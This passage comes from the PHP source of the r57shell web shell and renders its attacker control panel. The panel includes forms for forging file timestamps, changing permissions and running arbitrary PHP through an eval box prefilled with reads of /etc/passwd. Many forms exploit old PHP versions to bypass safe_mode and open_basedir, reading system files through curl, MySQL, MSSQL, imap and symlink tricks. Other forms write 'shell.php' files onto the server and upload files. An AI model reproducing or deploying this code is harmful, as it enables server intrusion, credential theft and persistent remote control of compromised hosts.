  3215. <option value="21">21</option>
  3216. <option value="22">22</option>
  3217. <option value="23">23</option>
  3218. <option value="24">24</option>
  3219. <option value="25">25</option>
  3220. <option value="26">26</option>
  3221. <option value="27">27</option>
  3222. <option value="28">28</option>
  3223. <option value="29">29</option>
  3224. <option value="30">30</option>
  3225. <option value="31">31</option>
  3226. </select>'
  3227. .ws(4)."<b>Month".$arrow."</b>"
  3228. .'
  3229. <select name="month" size="1">
  3230. <option value="January">January</option>
  3231. <option value="February">February</option>
  3232. <option value="March">March</option>
  3233. <option value="April">April</option>
  3234. <option value="May">May</option>
  3235. <option value="June">June</option>
  3236. <option value="July">July</option>
  3237. <option value="August">August</option>
  3238. <option value="September">September</option>
  3239. <option value="October">October</option>
  3240. <option value="November">November</option>
  3241. <option value="December">December</option>
  3242. </select>'
  3243. .ws(4)."<b>Year".$arrow."</b>"
  3244. .'
  3245. <select name="year" size="1">
  3246. <option value="1998">1998</option>
  3247. <option value="1999">1999</option>
  3248. <option value="2000">2000</option>
  3249. <option value="2001">2001</option>
  3250. <option value="2002">2002</option>
  3251. <option value="2003">2003</option>
  3252. <option value="2004">2004</option>
  3253. <option value="2005">2005</option>
  3254. <option value="2006">2006</option>
  3255. <option value="2006">2007</option>
  3256. <option value="2006">2008</option>
  3257. <option value="2006">2009</option>
  3258. <option value="2006">2010</option>
  3259. </select>'
  3260. .ws(4)."<b>Hour".$arrow."</b>"
  3261. .'
  3262. <select name="chasi" size="1">
  3263. <option value="01">01</option>
  3264. <option value="02">02</option>
  3265. <option value="03">03</option>
  3266. <option value="04">04</option>
  3267. <option value="05">05</option>
  3268. <option value="06">06</option>
  3269. <option value="07">07</option>
  3270. <option value="08">08</option>
  3271. <option value="09">09</option>
  3272. <option value="10">10</option>
  3273. <option value="11">11</option>
  3274. <option value="12">12</option>
  3275. <option value="13">13</option>
  3276. <option value="14">14</option>
  3277. <option value="15">15</option>
  3278. <option value="16">16</option>
  3279. <option value="17">17</option>
  3280. <option value="18">18</option>
  3281. <option value="19">19</option>
  3282. <option value="20">20</option>
  3283. <option value="21">21</option>
  3284. <option value="22">22</option>
  3285. <option value="23">23</option>
  3286. <option value="24">24</option>
  3287. </select>'
  3288. .ws(4)."<b>Minute".$arrow."</b>"
  3289. .'
  3290. <select name="minutes" size="1">
  3291. <option value="01">1</option>
  3292. <option value="02">2</option>
  3293. <option value="03">3</option>
  3294. <option value="04">4</option>
  3295. <option value="05">5</option>
  3296. <option value="06">6</option>
  3297. <option value="07">7</option>
  3298. <option value="08">8</option>
  3299. <option value="09">9</option>
  3300. <option value="10">10</option>
  3301. <option value="11">11</option>
  3302. <option value="12">12</option>
  3303. <option value="13">13</option>
  3304. <option value="14">14</option>
  3305. <option value="15">15</option>
  3306. <option value="16">16</option>
  3307. <option value="17">17</option>
  3308. <option value="18">18</option>
  3309. <option value="19">19</option>
  3310. <option value="20">20</option>
  3311. <option value="21">21</option>
  3312. <option value="22">22</option>
  3313. <option value="23">23</option>
  3314. <option value="24">24</option>
  3315. <option value="25">25</option>
  3316. <option value="26">26</option>
  3317. <option value="27">27</option>
  3318. <option value="28">28</option>
  3319. <option value="29">29</option>
  3320. <option value="30">30</option>
  3321. <option value="31">31</option>
  3322. <option value="32">32</option>
  3323. <option value="33">33</option>
  3324. <option value="34">34</option>
  3325. <option value="35">35</option>
  3326. <option value="36">36</option>
  3327. <option value="37">37</option>
  3328. <option value="38">38</option>
  3329. <option value="39">39</option>
  3330. <option value="40">40</option>
  3331. <option value="41">41</option>
  3332. <option value="42">42</option>
  3333. <option value="43">43</option>
  3334. <option value="44">44</option>
  3335. <option value="45">45</option>
  3336. <option value="46">46</option>
  3337. <option value="47">47</option>
  3338. <option value="48">48</option>
  3339. <option value="49">49</option>
  3340. <option value="50">50</option>
  3341. <option value="51">51</option>
  3342. <option value="52">52</option>
  3343. <option value="53">53</option>
  3344. <option value="54">54</option>
  3345. <option value="55">55</option>
  3346. <option value="56">56</option>
  3347. <option value="57">57</option>
  3348. <option value="58">58</option>
  3349. <option value="59">59</option>
  3350. </select>'
  3351. .ws(4)."<b>Second".$arrow."</b>"
  3352. .'
  3353. <select name="second" size="1">
  3354. <option value="01">1</option>
  3355. <option value="02">2</option>
  3356. <option value="03">3</option>
  3357. <option value="04">4</option>
  3358. <option value="05">5</option>
  3359. <option value="06">6</option>
  3360. <option value="07">7</option>
  3361. <option value="08">8</option>
  3362. <option value="09">9</option>
  3363. <option value="10">10</option>
  3364. <option value="11">11</option>
  3365. <option value="12">12</option>
  3366. <option value="13">13</option>
  3367. <option value="14">14</option>
  3368. <option value="15">15</option>
  3369. <option value="16">16</option>
  3370. <option value="17">17</option>
  3371. <option value="18">18</option>
  3372. <option value="19">19</option>
  3373. <option value="20">20</option>
  3374. <option value="21">21</option>
  3375. <option value="22">22</option>
  3376. <option value="23">23</option>
  3377. <option value="24">24</option>
  3378. <option value="25">25</option>
  3379. <option value="26">26</option>
  3380. <option value="27">27</option>
  3381. <option value="28">28</option>
  3382. <option value="29">29</option>
  3383. <option value="30">30</option>
  3384. <option value="31">31</option>
  3385. <option value="32">32</option>
  3386. <option value="33">33</option>
  3387. <option value="34">34</option>
  3388. <option value="35">35</option>
  3389. <option value="36">36</option>
  3390. <option value="37">37</option>
  3391. <option value="38">38</option>
  3392. <option value="39">39</option>
  3393. <option value="40">40</option>
  3394. <option value="41">41</option>
  3395. <option value="42">42</option>
  3396. <option value="43">43</option>
  3397. <option value="44">44</option>
  3398. <option value="45">45</option>
  3399. <option value="46">46</option>
  3400. <option value="47">47</option>
  3401. <option value="48">48</option>
  3402. <option value="49">49</option>
  3403. <option value="50">50</option>
  3404. <option value="51">51</option>
  3405. <option value="52">52</option>
  3406. <option value="53">53</option>
  3407. <option value="54">54</option>
  3408. <option value="55">55</option>
  3409. <option value="56">56</option>
  3410. <option value="57">57</option>
  3411. <option value="58">58</option>
  3412. <option value="59">59</option>
  3413. </select>'
  3414. .in('hidden','cmd',0,'touch')
  3415. .in('hidden','dir',0,$dir)
  3416. .ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  3417. echo $te.'</div>'.$table_end1.$fe;
  3418. }
  3419.  
  3420. $select='';
  3421. if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";}
  3422. if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";}
  3423. if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";}
  3424. if($unix && $select){
  3425. echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts;
  3426. echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($_SERVER["SCRIPT_FILENAME"]))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  3427. echo $te.'</div>'.$table_end1.$fe;
  3428. }
  3429.  
  3430. if(!$safe_mode){
  3431. $aliases2 = '';
  3432. foreach ($aliases as $alias_name=>$alias_cmd)
  3433. {
  3434. $aliases2 .= "<option>$alias_name</option>";
  3435. }
  3436. echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id7').$table_up2.div('id7').$ts;
  3437. echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  3438. echo $te.'</div>'.$table_end1.$fe;
  3439. }
  3440.  
  3441. echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id8').$table_up2.div('id8').$ts;
  3442. echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
  3443. echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )");
  3444. echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
  3445. echo $te.'</div>'.$table_end1.$fe;
  3446.  
  3447. if(!$safe_mode && $unix){
  3448. echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id9').$table_up2.div('id9').$ts;
  3449. echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
  3450. echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )");
  3451. echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
  3452. echo $te.'</div>'.$table_end1.$fe;
  3453. }
  3454.  
  3455. echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id10').$table_up2.$font;
  3456. echo "<div align=center>".div('id10')."<textarea name=php_eval cols=100 rows=10>";
  3457. echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");"));
  3458. echo "</textarea>";
  3459. echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
  3460. echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
  3461. echo "</div></div></font>";
  3462. echo $table_end1.$fe;
  3463.  
  3464. if($safe_mode || $open_basedir)
  3465. {
  3466. echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
  3467. echo "<table class=table1 width=100% align=center>";
  3468. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3469. echo $te.'</div>'.$table_end1.$fe;
  3470. }
  3471.  
  3472. if(($safe_mode || $open_basedir) && $curl_on && @version_compare(@phpversion(),"5.2.0")<=0)
  3473. {
  3474. echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id12').$table_up2.div('id12').$ts;
  3475. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3476. echo $te.'</div>'.$table_end1.$fe;
  3477. }
  3478.  
  3479. if(($safe_mode || $open_basedir) && $mysql_on)
  3480. {
  3481. echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id13').$table_up2.div('id13').$ts;
  3482. echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
  3483. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3484. echo $te.'</div>'.$table_end1.$fe;
  3485. }
  3486.  
  3487. if(($safe_mode || $open_basedir) && $mysqli_on)
  3488. {
  3489. echo $fs.$table_up1.div_title($lang[$language.'_text144'],'id40').$table_up2.div('id40').$ts;
  3490. echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test19_md',15,(!empty($_POST['test19_md'])?($_POST['test19_md']):("mysqli"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test19_ml',15,(!empty($_POST['test19_ml'])?($_POST['test19_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text39'].$arrow."</b>".in('text','test19_mp',15,(!empty($_POST['test19_mp'])?($_POST['test19_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test19_port',15,(!empty($_POST['test19_port'])?($_POST['test19_port']):("3306"))));
  3491. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test19_file',96,(!empty($_POST['test19_file'])?($_POST['test19_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test19').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3492. echo $te.'</div>'.$table_end1.$fe;
  3493. }
  3494.  
  3495. if(($safe_mode || $open_basedir) && $mssql_on)
  3496. {
  3497. echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id14').$table_up2.div('id14').$ts;
  3498. echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
  3499. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3500. echo $te.'</div>'.$table_end1.$fe;
  3501. }
  3502.  
  3503.  
  3504. if(($safe_mode || $open_basedir) && $unix && @function_exists('mb_send_mail') && @version_compare(@phpversion(),"5.2.0")<=0){
  3505. echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id15').$table_up2.div('id15').$ts;
  3506. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3507. echo $te.'</div>'.$table_end1.$fe;
  3508. }
  3509.  
  3510. if(($safe_mode || $open_basedir) && @function_exists('imap_open') && @function_exists('imap_list') && @version_compare(@phpversion(),"5.2.0")<=0){
  3511. echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id20').$table_up2.div('id20').$ts;
  3512. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3513. echo $te.'</div>'.$table_end1.$fe;
  3514. }
  3515.  
  3516. if(($safe_mode || $open_basedir) && @function_exists('imap_open') && @function_exists('imap_body') && @version_compare(@phpversion(),"5.2.0")<=0){
  3517. echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id21').$table_up2.div('id21').$ts;
  3518. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3519. echo $te.'</div>'.$table_end1.$fe;
  3520. }
  3521.  
  3522. if(($safe_mode || $open_basedir) && @function_exists('copy') && @version_compare(@phpversion(),"5.2.0")<=0)
  3523. {
  3524. echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id22').$table_up2.div('id22').$ts;
  3525. echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
  3526. echo sr(15,"<b>".$lang[$language.'_text117'].ws(2).$lang[$language.'_text60'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3527. echo $te.'</div>'.$table_end1.$fe;
  3528. }
  3529.  
  3530. if(($safe_mode || $open_basedir) && @function_exists('ini_restore') && @version_compare(@phpversion(),"5.2.0")<=0){
  3531. echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id23').$table_up2.div('id23').$ts;
  3532. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test9_file',96,(!empty($_POST['test9_file'])?($_POST['test9_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3533. echo $te.'</div>'.$table_end1.$fe;
  3534. }
  3535.  
  3536. if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.0.0")<0){
  3537. echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id24').$table_up2.div('id24').$ts;
  3538. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3539. echo $te.'</div>'.$table_end1.$fe;
  3540. }
  3541.  
  3542. if(($safe_mode || $open_basedir) && @function_exists('glob') && @version_compare(@phpversion(),"5.2.2")<=0){
  3543. echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id19').$table_up2.div('id19').$ts;
  3544. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',96,(!empty($_POST['test_global'])?($_POST['test_global']):($dir))).in('hidden','cmd',0,'safe_dir').in('hidden','glob',0,'glob').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3545. echo $te.'</div>'.$table_end1.$fe;
  3546. }
  3547.  
  3548. if(($safe_mode || $open_basedir) && @function_exists('realpath') && @version_compare(@phpversion(),"5.2.4")<=0){
  3549. $select_n_rlph = "<select name='n_rlph'><option value=1>[ 1 ] (<<0,01 sec)</option><option value=2>[ 2 ] (<0,01 sec)</option>".
  3550. "<option value=3 selected>[ 3 ] (<1 sec (default))</option>".
  3551. "<option value=4>[ 4 ] (<10 sec)</option><option value=5>[ 5 ] (>100 sec (danger))</option><option value=6>[ 6 ] (>>100 sec (danger))</option></select>";
  3552. echo $fs.$table_up1.div_title($lang[$language.'_text145'],'id41').$table_up2.div('id41').$ts;
  3553. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',30,(!empty($_POST['dir_rlph'])?($_POST['dir_rlph']):($dir))).ws(2).'<b>'.$lang[$language.'_text55'].'</b>'.ws(2).in('text','end_rlph',6,(!empty($_POST['end_rlph'])?($_POST['end_rlph']):('.php'))).ws(2).in('hidden','cmd',0,'safe_dir').ws(2).'<b>'.$lang[$language.'_text146'].'</b>'.ws(2).$select_n_rlph.ws(2).in('hidden','realpath',0,'realpath').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3554. echo $te.'</div>'.$table_end1.$fe;
  3555. }
  3556.  
  3557. if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0)
  3558. {
  3559. echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id25').$table_up2.div('id25').$ts;
  3560. echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test11_file',96,(!empty($_POST['test11_file'])?($_POST['test11_file']):($tempdir.'test.zip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3561. echo $te.'</div>'.$table_end1.$fe;
  3562. }
  3563.  
  3564. if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0)
  3565. {
  3566. echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id26').$table_up2.div('id26').$ts;
  3567. echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test12_file',96,(!empty($_POST['test12_file'])?($_POST['test12_file']):($tempdir.'test.bzip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3568. echo $te.'</div>'.$table_end1.$fe;
  3569. }
  3570.  
  3571. if(($safe_mode || $open_basedir) && @function_exists('error_log') && @version_compare(@phpversion(),"5.2.2")<=0)
  3572. {
  3573. echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id27').$table_up2.div('id27').$ts;
  3574. echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test13_file2',96,(!empty($_POST['test13_file2'])?($_POST['test13_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13'));
  3575. echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test13_file1',96,(!empty($_POST['test13_file1'])?($_POST['test13_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
  3576. echo $te.'</div>'.$table_end1.$fe;
  3577. }
  3578.  
  3579. if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0)
  3580. {
  3581. echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id28').$table_up2.div('id28').$ts;
  3582. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test14_file2',96,(!empty($_POST['test14_file2'])?($_POST['test14_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14'));
  3583. echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
  3584. echo $te.'</div>'.$table_end1.$fe;
  3585. }
  3586.  
  3587. if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.4")<=0)
  3588. {
  3589. echo $fs.$table_up1.div_title($lang[$language.'_text133'],'id39').$table_up2.div('id39').$ts;
  3590. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test18_file2',96,(!empty($_POST['test18_file2'])?($_POST['test18_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test18'));
  3591. echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test18_file1',96,(!empty($_POST['test18_file1'])?($_POST['test18_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
  3592. echo $te.'</div>'.$table_end1.$fe;
  3593. }
  3594.  
  3595. if(($safe_mode || $open_basedir) && @function_exists('readfile') && @version_compare(@phpversion(),"5.2.2")<=0)
  3596. {
  3597. echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts;
  3598. echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15'));
  3599. echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
  3600. echo $te.'</div>'.$table_end1.$fe;
  3601. }
  3602.  
  3603. if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.4")<=0)
  3604. {
  3605. echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts;
  3606. echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3607. echo $te.'</div>'.$table_end1.$fe;
  3608. }
  3609.  
  3610. if(($safe_mode || $open_basedir) && @function_exists('symlink') && @version_compare(@phpversion(),"5.2.2")<=0)
  3611. {
  3612. echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts;
  3613. echo "<tr><td valign=top width=70%>".$ts;
  3614. echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
  3615. echo $te."</td><td valign=top width=30%>".$ts;
  3616. echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
  3617. echo $te."</td></tr>";
  3618. echo $te.'</div>'.$table_end1;
  3619. }
  3620.  
  3621. if(($safe_mode || $open_basedir) && @function_exists('symlink') && @version_compare(@phpversion(),"5.2.2")<=0)
  3622. {
  3623. echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts;
  3624. echo "<tr><td valign=top width=70%>".$ts;
  3625. echo sr(20,"<b>".$lang[$language.'_text4'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
  3626. echo $te."</td><td valign=top width=30%>".$ts;
  3627. echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
  3628. echo $te."</td></tr>";
  3629. echo $te.'</div>'.$table_end1;
  3630. }
  3631.  
  3632.  
  3633. if((!@function_exists('ini_get')) || @ini_get('file_uploads')){
  3634. echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
  3635. echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts;
  3636. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,''));
  3637. echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  3638. echo $te.'</div>'.$table_end1.$fe;
  3639. }
  3640.  
  3641.  
  3642. if((!@function_exists('ini_get')) || @ini_get('file_uploads')){
  3643. echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
  3644. echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts;
  3645. echo "<tr><td valign=top width=50%>".$ts;
  3646. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',35,''));
  3647. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',35,''));
  3648. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',35,''));
  3649. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',35,''));
  3650. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile5',35,''));
  3651. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile6',35,''));
  3652. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile7',35,''));
  3653. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile8',35,''));
  3654. echo $te."</td><td valign=top width=50%>".$ts;
  3655. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile9',35,''));
  3656. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile10',35,''));
  3657. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile11',35,''));
  3658. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile12',35,''));
  3659. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile13',35,''));
  3660. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile14',35,''));
  3661. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile15',35,''));
  3662. echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  3663. echo $te."</td></tr>";
  3664. echo $te.'</div>'.$table_end1.$fe;
  3665. }
  3666.  
  3667.  
  3668. if($select_downloaders){
  3669. echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts;
